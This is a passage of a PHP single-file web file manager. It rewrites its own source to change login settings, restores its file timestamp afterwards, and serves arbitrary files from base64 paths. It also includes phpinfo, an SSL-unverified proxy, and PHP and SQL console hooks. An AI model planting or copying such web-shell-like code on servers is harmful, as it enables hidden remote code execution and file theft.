	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
